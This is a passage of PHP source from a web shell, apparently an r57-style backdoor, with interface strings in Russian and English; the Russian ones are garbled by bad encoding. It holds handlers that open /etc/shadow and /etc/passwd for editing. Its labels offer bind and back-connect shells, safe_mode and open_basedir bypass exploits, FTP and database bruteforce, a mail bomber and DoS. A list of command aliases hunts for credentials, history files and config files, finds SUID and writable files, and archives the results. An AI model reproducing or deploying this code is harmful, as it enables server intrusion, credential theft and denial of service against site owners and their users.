  791.  {$_POST['cmd'] = 'ps -aux';}
  792. if(isset($_GET['netstat']))
  793.  {$_POST['cmd'] = 'netstat -a';}
  794. if(isset($_GET['lsattr']))
  795.  {$_POST['cmd'] = 'lsattr -va';}
  796. if(isset($_GET['syslog']))
  797.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
  798. if(isset($_GET['fstab']))
  799.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
  800. if(isset($_GET['fdisk']))
  801.  {$_POST['cmd'] = 'fdisk -l';}
  802. if(isset($_GET['df']))
  803.  {$_POST['cmd'] = 'df -h';}
  804. if(isset($_GET['realise2']))
  805.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
  806. if(isset($_GET['hosts']))
  807.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
  808. if(isset($_GET['resolv']))
  809.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
  810. if(isset($_GET['systeminfo']))
  811.  {$_POST['cmd'] = 'systeminfo';}
  812. if(isset($_GET['shadow']))
  813.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
  814. if(isset($_GET['passwd']))
  815.  {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
  816. #if(isset($_GET['']))
  817. # {$_POST['cmd'] = '';}
  818.  
  819. $lang=array(
  820. 'ru_text1' =>'Aûïîë????à? êî?à??à',
  821. 'ru_text2' =>'Aûïîë???è? êî?à?? ?à ???â???',
  822. 'ru_text3' =>'Aûïîë?è?ü êî?à???',
  823. 'ru_text4' =>'?à?î÷à? ?è??ê?î?è?',
  824. 'ru_text5' =>'Cà???çêà ôàéëîâ ?à ???â??',
  825. 'ru_text6' =>'Eîêàëü?ûé ôàéë',
  826. 'ru_text7' =>'Aëèà?û',
  827. 'ru_text8' =>'Aû???è?? àëèà?',
  828. 'ru_butt1' =>'Aûïîë?è?ü',
  829. 'ru_butt2' =>'Cà???çè?ü',
  830. 'ru_text9' =>'I?ê?û?è? ïî??à è ï?èâ?çêà ??î ê /bin/bash',
  831. 'ru_text10'=>'I?ê?û?ü ïî??',
  832. 'ru_text11'=>'Ià?îëü ?ë? ?î???ïà',
  833. 'ru_butt3' =>'I?ê?û?ü',
  834. 'ru_text12'=>'back-connect',
  835. 'ru_text13'=>'IP-à????',
  836. 'ru_text14'=>'Iî??',
  837. 'ru_butt4' =>'Aûïîë?è?ü',
  838. 'ru_text15'=>'Cà???çêà ôàéëîâ ? ??àë???î?î ???â??à',
  839. 'ru_text16'=>'E?ïîëüçîâà?ü',
  840. 'ru_text17'=>'??àë???ûé ôàéë',
  841. 'ru_text18'=>'Eîêàëü?ûé ôàéë',
  842. 'ru_text19'=>'Exploits',
  843. 'ru_text20'=>'E?ïîëüçîâà?ü',
  844. 'ru_text21'=>'?îâî? è??',
  845. 'ru_text22'=>'datapipe',
  846. 'ru_text23'=>'Eîêàëü?ûé ïî??',
  847. 'ru_text24'=>'??àë???ûé ?î??',
  848. 'ru_text25'=>'??àë???ûé ïî??',
  849. 'ru_text26'=>'E?ïîëüçîâà?ü',
  850. 'ru_butt5' =>'Càï???è?ü',
  851. 'ru_text28'=>'?à?î?à â safe_mode',
  852. 'ru_text29'=>'?î???ï çàï??ù??',
  853. 'ru_butt6' =>'????è?ü',
  854. 'ru_text30'=>'I?î??î?? ôàéëà',
  855. 'ru_butt7' =>'Aûâ???è',
  856. 'ru_text31'=>'Oàéë ?? ?àé???',
  857. 'ru_text32'=>'Aûïîë???è? PHP êî?à',
  858. 'ru_text33'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir ÷???ç ô??ê?èè cURL (PHP <= 4.4.2, 5.1.4)',
  859. 'ru_butt8' =>'I?îâ??è?ü',
  860. 'ru_text34'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode ÷???ç ô??ê?è? include',
  861. 'ru_text35'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode ÷???ç çà???çê? ôàéëà â mysql',
  862. 'ru_text36'=>'?àçà . ?à?ëè?à',
  863. 'ru_text37'=>'Eî?è?',
  864. 'ru_text38'=>'Ià?îëü',
  865. 'ru_text39'=>'?àçà',
  866. 'ru_text40'=>'?à?ï ?à?ëè?û ?àçû ?à??û?',
  867. 'ru_butt9' =>'?à?ï',
  868. 'ru_text41'=>'?î??à?è?ü â ôàéë?',
  869. 'ru_text42'=>'???àê?è?îâà?è? ôàéëà',
  870. 'ru_text43'=>'???àê?è?îâà?ü ôàéë',
  871. 'ru_butt10'=>'?î??à?è?ü',
  872. 'ru_butt11'=>'???àê?è?îâà?ü',
  873. 'ru_text44'=>'???àê?è?îâà?è? ôàéëà ??âîç?î??î! ?î???ï ?îëüêî ?ë? ÷???è?!',
  874. 'ru_text45'=>'Oàéë ?î??à???',
  875. 'ru_text46'=>'I?î??î?? phpinfo()',
  876. 'ru_text47'=>'I?î??î?? ?à???î?ê php.ini',
  877. 'ru_text48'=>'??àë??è? â??????û? ôàéëîâ',
  878. 'ru_text49'=>'??àë??è? ?ê?èï?à ? ???â??à',
  879. 'ru_text50'=>'E?ôî??à?è? î ï?î????î??',
  880. 'ru_text51'=>'E?ôî??à?è? î ïà???è',
  881. 'ru_text52'=>'??ê?? ?ë? ïîè?êà',
  882. 'ru_text53'=>'E?êà?ü â ïàïê?',
  883. 'ru_text54'=>'Iîè?ê ??ê??à â ôàéëà?',
  884. 'ru_butt12'=>'?àé?è',
  885. 'ru_text55'=>'?îëüêî â ôàéëà?',
  886. 'ru_text56'=>'?è÷??î ?? ?àé???î',
  887. 'ru_text57'=>'?îç?à?ü/??àëè?ü Oàéë/?è??ê?î?è?',
  888. 'ru_text58'=>'E??',
  889. 'ru_text59'=>'Oàéë',
  890. 'ru_text60'=>'?è??ê?î?è?',
  891. 'ru_butt13'=>'?îç?à?ü/??àëè?ü',
  892. 'ru_text61'=>'Oàéë ?îç?à?',
  893. 'ru_text62'=>'?è??ê?î?è? ?îç?à?à',
  894. 'ru_text63'=>'Oàéë ??àë??',
  895. 'ru_text64'=>'?è??ê?î?è? ??àë??à',
  896. 'ru_text65'=>'?îç?à?ü',
  897. 'ru_text66'=>'??àëè?ü',
  898. 'ru_text67'=>'Chown/Chgrp/Chmod',
  899. 'ru_text68'=>'Eî?à??à',
  900. 'ru_text69'=>'Ià?à????1',
  901. 'ru_text70'=>'Ià?à????2',
  902. 'ru_text71'=>"A?î?îé ïà?à???? êî?à??û:\r\n- ?ë? CHOWN - è?? ?îâî?î ïîëüçîâà??ë? èëè ??î UID (÷è?ëî?) \r\n- ?ë? êî?à??û CHGRP - è?? ???ïïû èëè GID (÷è?ëî?) \r\n- ?ë? êî?à??û CHMOD - ??ëî? ÷è?ëî â âî?ü???è÷?î? ï?????àâë??èè (?àï?è??? 0777)",
  903. 'ru_text72'=>'??ê?? ?ë? ïîè?êà',
  904. 'ru_text73'=>'E?êà?ü â ïàïê?',
  905. 'ru_text74'=>'E?êà?ü â ôàéëà?',
  906. 'ru_text75'=>'* ?î??î è?ïîëüçîâà?ü ????ë???î? âû?à???è?',
  907. 'ru_text76'=>'Iîè?ê ??ê??à â ôàéëà? ? ïî?îùü? ??èëè?û find',
  908. 'ru_text80'=>'?èï',
  909. 'ru_text81'=>'???ü',
  910. 'ru_text82'=>'?àçû ?à??û?',
  911. 'ru_text83'=>'Aûïîë???è? SQL çàï?î?à',
  912. 'ru_text84'=>'SQL çàï?î?',
  913. 'ru_text85'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode ÷???ç âûïîë???è? êî?à?? â MSSQL ???â???',
  914. 'ru_text86'=>'?êà÷èâà?è? ôàéëà ? ???â??à',
  915. 'ru_butt14'=>'?êà÷à?ü',
  916. 'ru_text87'=>'?êà÷èâà?è? ôàéëîâ ? ??àë???î?î ftp-???â??à',
  917. 'ru_text88'=>'???â??:ïî??',
  918. 'ru_text89'=>'Oàéë ?à ftp ???â???',
  919. 'ru_text90'=>'???è? ï????à÷è',
  920. 'ru_text91'=>'A??èâè?îâà?ü â',
  921. 'ru_text92'=>'??ç à??èâ.',
  922. 'ru_text93'=>'FTP',
  923. 'ru_text94'=>'FTP-????ôî??',
  924. 'ru_text95'=>'?ïè?îê ïîëüçîâà??ë?é',
  925. 'ru_text96'=>'?? ??àëî?ü ïîë?÷è?ü ?ïè?îê ïîëüçîâà??ë?é',
  926. 'ru_text97'=>'I?îâ????î êî??è?à?èé: ',
  927. 'ru_text98'=>'??à÷?û? ïî?êë?÷??èé: ',
  928. 'ru_text99'=>'/etc/passwd',
  929. 'ru_text100'=>'I?ï?àâêà ôàéëîâ ?à ??àë???ûé ô?ï ???â??',
  930. 'ru_text101'=>'ï???â?????î? (user -> resu)',
  931. 'ru_text102'=>'Iî÷?à',
  932. 'ru_text103'=>'I?ï?àâêà ïè?ü?à',
  933. 'ru_text104'=>'I?ï?àâêà ôàéëà ?à ïî÷?îâûé ?ùèê',
  934. 'ru_text105'=>'Eî??',
  935. 'ru_text106'=>'I?',
  936. 'ru_text107'=>'???à',
  937. 'ru_butt15'=>'I?ï?àâè?ü',
  938. 'ru_text108'=>'??ê?? ïè?ü?à',
  939. 'ru_text109'=>'?â?????ü',
  940. 'ru_text110'=>'?àçâ?????ü',
  941. 'ru_text111'=>'SQL-???â?? : ïî??',
  942. 'ru_text112'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode ÷???ç è?ïîëüçîâà?è? ô??ê?èè mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
  943. 'ru_text113'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode, ï?î??î?? ëè??è??à ?è??ê?î?èé ? è?ïîëüçîâà?è?? imap_list (PHP <= 5.1.2)',
  944. 'ru_text114'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode, ï?î??î?? ?î????è?î?î ôàéëà ? è?ïîëüçîâà?è?? imap_body (PHP <= 5.1.2)',
  945. 'ru_text115'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode, êîïè?îâà?è? ôàéëîâ ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
  946. 'ru_text116'=>'Eîïè?îâà?ü ôàéë',
  947. 'ru_text117'=>'â',
  948. 'ru_text118'=>'Oàéë ?êîïè?îâà?',
  949. 'ru_text119'=>'?? ??àëî?ü ?êîïè?îâà?ü ôàéë',
  950. 'ru_text120'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé safe_mode, ï?î??î?? ?î????è?î?î ôàéëà ? è?ïîëüçîâà?è?? ini_restore (PHP <= 4.4.4, 5.1.6) By KingDefacer',
  951. 'ru_text121'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ï?î??î?? ëè??è??à ?è??ê?î?èé ? è?ïîëüçîâà?è?? fopen (PHP v4.4.0 memory leak) By KingDefacer',
  952. 'ru_text122'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ï?î??î?? ëè??è??à ?è??ê?î?èé ? è?ïîëüçîâà?è?? glob (PHP <= 5.2.x)',
  953. 'ru_text123'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ÷???è? *.bzip à??èâà [compress.bzip2://] (PHP <= 5.2.1)',
  954. 'ru_text124'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ?îçàïè?ü ôàéëîâ ? error_log[php://] (PHP <= 5.1.4, 4.4.2)',
  955. 'ru_text125'=>'?à??û?',
  956. 'ru_text126'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ?îç?à?è? ôàéëà ????èè ? ?à??û?è[NULL-byte] (PHP <= 5.2.0)',
  957. 'ru_text127'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ?îçàïè?ü ôàéëîâ ? readfile[php://] (PHP <= 5.2.1, 4.4.4)',
  958. 'ru_text128'=>'?à?à èç?????è?\?î???ïà(touch)',
  959. 'ru_text129'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ?îç?à?è? ôàéëà ? fopen[srpath://] (PHP v5.2.0)',
  960. 'ru_text130'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ÷???è? *.zip à??èâà [zip://] (PHP <= 5.2.1)',
  961. 'ru_text131'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ï?î??î?? ?î????è?î?î ôàéëà ? è?ïîëüçîâà?è?? symlink() (PHP <= 5.2.1)',
  962. 'ru_text132'=>'I?îâ??êà âîç?î??î??è î??î?à î??à?è÷??èé open_basedir, ï?î??î?? ëè??è??à ?è??ê?î?èé ? è?ïîëüçîâà?è?? symlink() (PHP <= 5.2.1)',
  963. 'ru_text133'=>'',
  964. 'ru_text134'=>'????ôî?? ?àç ?à??û?',
  965. 'ru_text135'=>'?ëîâà?ü',
  966. 'ru_text136'=>'?îç?à?è? ?è?âîëü?îé ??ûëêè',
  967. 'ru_text137'=>'Iîë?ç?î?',
  968. 'ru_text138'=>'Iïà??î?',
  969. 'ru_text139'=>'?àèë-?î????',
  970. 'ru_text140'=>'DoS',
  971. 'ru_text141'=>'I??î?î??î! Aîç?î??? ê?à? A??-???âè?à.',
  972. 'ru_err0'=>'I?è?êà! ?? ?î?? çàïè?à?ü â ôàéë ',
  973. 'ru_err1'=>'I?è?êà! ?? ?î?? ï?î÷è?à?ü ôàéë ',
  974. 'ru_err2'=>'I?è?êà! ?? ??àëî?ü ?îç?à?ü ',
  975. 'ru_err3'=>'I?è?êà! ?? ??àëî?ü ïî?êë?÷è?ü?? ê ftp ???â???',
  976. 'ru_err4'=>'I?è?êà àâ?î?èçà?èè ?à ftp ???â???',
  977. 'ru_err5'=>'I?è?êà! ?? ??àëî?ü ïî?????ü ?è??ê?î?è? ?à ftp ???â???',
  978. 'ru_err6'=>'I?è?êà! ?? ??àëî?ü î?ï?àâè?ü ïè?ü?î',
  979. 'ru_err7'=>'Iè?ü?î î?ï?àâë??î',
  980. /* --------------------------------------------------------------- */
  981. 'eng_text1' =>'Executed command',
  982. 'eng_text2' =>'Execute command on server',
  983. 'eng_text3' =>'Run command',
  984. 'eng_text4' =>'Work directory',
  985. 'eng_text5' =>'Upload files on server',
  986. 'eng_text6' =>'Local file',
  987. 'eng_text7' =>'Aliases',
  988. 'eng_text8' =>'Select alias',
  989. 'eng_butt1' =>'Execute',
  990. 'eng_butt2' =>'Upload',
  991. 'eng_text9' =>'Bind port to /bin/bash',
  992. 'eng_text10'=>'Port',
  993. 'eng_text11'=>'Password for access',
  994. 'eng_butt3' =>'Bind',
  995. 'eng_text12'=>'back-connect',
  996. 'eng_text13'=>'IP',
  997. 'eng_text14'=>'Port',
  998. 'eng_butt4' =>'Connect',
  999. 'eng_text15'=>'Upload files from remote server',
  1000. 'eng_text16'=>'With',
  1001. 'eng_text17'=>'Remote file',
  1002. 'eng_text18'=>'Local file',
  1003. 'eng_text19'=>'Exploits',
  1004. 'eng_text20'=>'Use',
  1005. 'eng_text21'=>'&nbsp;New name',
  1006. 'eng_text22'=>'datapipe',
  1007. 'eng_text23'=>'Local port',
  1008. 'eng_text24'=>'Remote host',
  1009. 'eng_text25'=>'Remote port',
  1010. 'eng_text26'=>'Use',
  1011. 'eng_butt5' =>'Run',
  1012. 'eng_text28'=>'Work in safe_mode',
  1013. 'eng_text29'=>'ACCESS DENIED',
  1014. 'eng_butt6' =>'Change',
  1015. 'eng_text30'=>'Cat file',
  1016. 'eng_butt7' =>'Show',
  1017. 'eng_text31'=>'File not found',
  1018. 'eng_text32'=>'Eval PHP code',
  1019. 'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
  1020. 'eng_butt8' =>'Test',
  1021. 'eng_text34'=>'Test bypass safe_mode with include function',
  1022. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  1023. 'eng_text36'=>'Database . Table',
  1024. 'eng_text37'=>'Login',
  1025. 'eng_text38'=>'Password',
  1026. 'eng_text39'=>'Database',
  1027. 'eng_text40'=>'Dump database table',
  1028. 'eng_butt9' =>'Dump',
  1029. 'eng_text41'=>'Save dump in file',
  1030. 'eng_text42'=>'Edit files',
  1031. 'eng_text43'=>'File for edit',
  1032. 'eng_butt10'=>'Save',
  1033. 'eng_text44'=>'Can\'t edit file! Only read access!',
  1034. 'eng_text45'=>'File saved',
  1035. 'eng_text46'=>'Show phpinfo()',
  1036. 'eng_text47'=>'Show variables from php.ini',
  1037. 'eng_text48'=>'Delete temp files',
  1038. 'eng_butt11'=>'Edit file',
  1039. 'eng_text49'=>'Delete script from server',
  1040. 'eng_text50'=>'View cpu info',
  1041. 'eng_text51'=>'View memory info',
  1042. 'eng_text52'=>'Find text',
  1043. 'eng_text53'=>'In dirs',
  1044. 'eng_text54'=>'Find text in files',
  1045. 'eng_butt12'=>'Find',
  1046. 'eng_text55'=>'Only in files',
  1047. 'eng_text56'=>'Nothing :(',
  1048. 'eng_text57'=>'Create/Delete File/Dir',
  1049. 'eng_text58'=>'name',
  1050. 'eng_text59'=>'file',
  1051. 'eng_text60'=>'dir',
  1052. 'eng_butt13'=>'Create/Delete',
  1053. 'eng_text61'=>'File created',
  1054. 'eng_text62'=>'Dir created',
  1055. 'eng_text63'=>'File deleted',
  1056. 'eng_text64'=>'Dir deleted',
  1057. 'eng_text65'=>'Create',
  1058. 'eng_text66'=>'Delete',
  1059. 'eng_text67'=>'Chown/Chgrp/Chmod',
  1060. 'eng_text68'=>'Command',
  1061. 'eng_text69'=>'param1',
  1062. 'eng_text70'=>'param2',
  1063. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  1064. 'eng_text72'=>'Text for find',
  1065. 'eng_text73'=>'Find in folder',
  1066. 'eng_text74'=>'Find in files',
  1067. 'eng_text75'=>'* you can use regexp',
  1068. 'eng_text76'=>'Search text in files via find',
  1069. 'eng_text80'=>'Type',
  1070. 'eng_text81'=>'Net',
  1071. 'eng_text82'=>'Databases',
  1072. 'eng_text83'=>'Run SQL query',
  1073. 'eng_text84'=>'SQL query',
  1074. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  1075. 'eng_text86'=>'Download files from server',
  1076. 'eng_butt14'=>'Download',
  1077. 'eng_text87'=>'Download files from remote ftp-server',
  1078. 'eng_text88'=>'server:port',
  1079. 'eng_text89'=>'File on ftp',
  1080. 'eng_text90'=>'Transfer mode',
  1081. 'eng_text91'=>'Archivation',
  1082. 'eng_text92'=>'without arch.',
  1083. 'eng_text93'=>'FTP',
  1084. 'eng_text94'=>'FTP-bruteforce',
  1085. 'eng_text95'=>'Users list',
  1086. 'eng_text96'=>'Can\'t get users list',
  1087. 'eng_text97'=>'checked: ',
  1088. 'eng_text98'=>'success: ',
  1089. 'eng_text99'=>'/etc/passwd',
  1090. 'eng_text100'=>'Send file to remote ftp server',
  1091. 'eng_text101'=>'Use reverse (user -> resu)',
  1092. 'eng_text102'=>'Mail',
  1093. 'eng_text103'=>'Send email',
  1094. 'eng_text104'=>'Send file to email',
  1095. 'eng_text105'=>'To',
  1096. 'eng_text106'=>'From',
  1097. 'eng_text107'=>'Subj',
  1098. 'eng_butt15'=>'Send',
  1099. 'eng_text108'=>'Mail',
  1100. 'eng_text109'=>'Hide',
  1101. 'eng_text110'=>'Show',
  1102. 'eng_text111'=>'SQL-Server : Port',
  1103. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
  1104. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
  1105. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
  1106. 'eng_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
  1107. 'eng_text116'=>'Copy from',
  1108. 'eng_text117'=>'to',
  1109. 'eng_text118'=>'File copied',
  1110. 'eng_text119'=>'Cant copy file',
  1111. 'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) By KingDefacer',
  1112. 'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) By KingDefacer',
  1113. 'eng_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
  1114. 'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
  1115. 'eng_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
  1116. 'eng_text125'=>'Data',
  1117. 'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
  1118. 'eng_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
  1119. 'eng_text128'=>'Modify/Access date(touch)',
  1120. 'eng_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
  1121. 'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
  1122. 'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
  1123. 'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
  1124. 'eng_text133'=>'',
  1125. 'eng_text134'=>'Database-bruteforce',
  1126. 'eng_text135'=>'Dictionary',
  1127. 'eng_text136'=>'Creating evil symlink',
  1128. 'eng_text137'=>'Useful',
  1129. 'eng_text138'=>'Dangerous',
  1130. 'eng_text139'=>'Mail Bomber',
  1131. 'eng_text140'=>'DoS',
  1132. 'eng_text141'=>'Danger! Web-daemon crash possible.',
  1133. 'eng_err0'=>'Error! Can\'t write in file ',
  1134. 'eng_err1'=>'Error! Can\'t read file ',
  1135. 'eng_err2'=>'Error! Can\'t create ',
  1136. 'eng_err3'=>'Error! Can\'t connect to ftp',
  1137. 'eng_err4'=>'Error! Can\'t login on ftp server',
  1138. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  1139. 'eng_err6'=>'Error! Can\'t sent mail',
  1140. 'eng_err7'=>'Mail send',
  1141. );
  1142. /*
  1143. Aëèà?û êî?à??
  1144. Iîçâîë??? èç???à?ü ??î?îê?à??î?î ?à?î?à î??è? è ???-?? êî?à??. ( ???ëà?î ?ëà?î?à?? ?î?é ï?è?î??îé ë??è )
  1145. Aû ?î???? ?à?è ?î?àâë??ü èëè èç?????ü êî?à??û.
  1146. */
  1147. $aliases=array(
  1148. '----------------------------------locate'=>'',
  1149. 'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1150. 'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1151. 'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1152. 'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1153. 'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1154. 'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1155. 'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1156. 'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1157. 'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
  1158. 'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1159. 'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
  1160. 'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1161. 'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1162. 'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1163. 'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1164. 'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1165. 'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1166. 'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1167. 'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1168. 'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
  1169. 'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
  1170. 'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
  1171. '----------------------------------tar'=>'',
  1172. 'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
  1173. '----------------------------------1'=>'',
  1174. 'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1175. 'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1176. 'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1177. 'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1178. 'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1179. '----------------------------------2'=>'',
  1180. 'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
  1181. '----------------------------------find'=>'',
  1182. 'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1183. 'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1184. 'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1185. 'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1186. 'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1187. 'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1188. 'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /  -type d -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1189. 'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1190. 'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1191. 'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1192. 'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1193. 'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1194. 'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history  >> /tmp/grep.txt;cat /tmp/grep.txt',
